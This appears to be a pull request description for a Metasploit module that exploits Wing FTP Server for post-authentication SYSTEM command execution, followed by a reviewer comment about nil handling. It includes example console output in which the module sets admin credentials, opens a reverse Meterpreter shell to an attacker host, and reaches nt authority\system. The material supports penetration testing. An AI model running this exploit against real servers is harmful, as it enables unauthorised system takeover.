Add Wing FTP Server post-auth remote command execution module

#### Add Wing FTP Server post-auth remote command execution module.

Executes commands in the context of SYSTEM when authenticated as an admin user. By default, it creates a reverse meterpreter SYSTEM shell.

* Homepage: http://www.wftpserver.com/
* Download: http://www.wftpserver.com/download.htm
* Tested on: Wing FTP Server versions 4.3.8 (most recent as of this PR) and 4.3.6 (Windows 7 SP1 and Windows 8.1)
* Usage:
 * Install Wing FTP Server
 * Run the module with valid admin credentials
 * ???
 * SYSTEM

#### Example Output:
````
msf > use exploit/windows/ftp/wing_ftp_server_rce 
msf exploit(wing_ftp_server_rce) > set rhost 192.168.1.67
rhost => 192.168.1.67
msf exploit(wing_ftp_server_rce) > set username admin
username => admin
msf exploit(wing_ftp_server_rce) > set password password
password => password
msf exploit(wing_ftp_server_rce) > exploit

[*] Started reverse handler on 192.168.1.72:4444 
[*] 192.168.1.67:5466 - Authenticating
[*] 192.168.1.67:5466 - Sending payload
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[*] Sending stage (769536 bytes) to 192.168.1.67
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[*] Meterpreter session 1 opened (192.168.1.72:4444 -> 192.168.1.67:1120) at 2014-08-26 07:53:19 -0700

meterpreter > shell
Process 3492 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>
````
I think this should also check if ```res.nil?``` and fail appropriately. As it is now, if res is nil it will not fail.